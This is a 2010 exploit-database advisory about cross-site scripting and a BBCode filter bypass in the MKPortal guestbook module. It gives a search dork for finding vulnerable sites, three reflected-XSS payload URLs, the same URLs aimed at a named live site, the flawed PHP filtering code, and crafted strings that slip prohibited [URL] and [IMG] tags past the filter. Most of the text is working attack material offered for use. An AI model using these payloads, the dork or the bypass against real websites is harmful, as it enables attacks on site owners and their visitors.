mkportalgbook-xss.txt
Posted on 03 April 2010
========================================== MKPortal <= gbook module XSS Vulnerability ========================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' __ /'__` / \__ /'__` 0 0 /\_, ___ /\_/\_ ___ ,_/ / _ ___ 1 1 /_/ /' _ ` / /_/_\_<_ /'___ / /`'__ 0 0 / / / / \__/ \_ \_ / 1 1 \_ \_ \_\_ \____/ \____\ \__\ \____/ \_ 0 0 /_//_//_/ \_ /___/ /____/ /__/ /___/ /_/ 1 1 \____/ >> Exploit database separated by exploit 0 0 /___/ type (local, remote, DoS, etc.) 1 1 0 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1 #[+] Discovered By : Inj3ct0r #[+] Site : Inj3ct0r.com #[+] support e-mail : submit[at]inj3ct0r.com ################################################## Vulnerable products: MKPortal module gbook Exploit Dork: "inurl:index.php?Ind=gbook" ################################################## --------------------------------------------------------------------- 1. Multiple pXSS Vulnerability in the file index.php. Exploit: /index.php?ind=gbook&content=%3Cscript%3Ealert(1)%3C/script%3E /index.php?ind=gbook&blocks=%3Cscript%3Ealert(1)%3C/script%3E /index.php?ind=gbook&message=%3Cscript%3Ealert(1)%3C/script%3E Example: http://otradnoe.ru.net//index.php?ind=gbook&content=%3Cscript%3Ealert(1)%3C/script%3E http://otradnoe.ru.net//index.php?ind=gbook&blocks=%3Cscript%3Ealert(1)%3C/script%3E http://otradnoe.ru.net//index.php?ind=gbook&message=%3Cscript%3Ealert(1)%3C/script%3E --------------------------------------------------------------------- 2. Insert prohibited bb-tags [img] and [url] in the message Vulnerability in the file index.php. A vulnerable piece of code: $message = stripslashes($message); $message = preg_replace('/[URL=(.+?)](.+)[/URL]/i',$no_url,$message); $message = preg_replace('/[IMG](.+?)[/IMG]/i',$no_img,$message); $message = str_replace("ttp","", $message); get around restrictions: [UttpRL=htttptp://inj3ct0r.com]inj3ct0r.com[/URL] [IMttpG]htttptps://inj3ct0r.org/image.php?i=1&dateline=[/IMG] # Inj3ct0r.com [2010-04-04]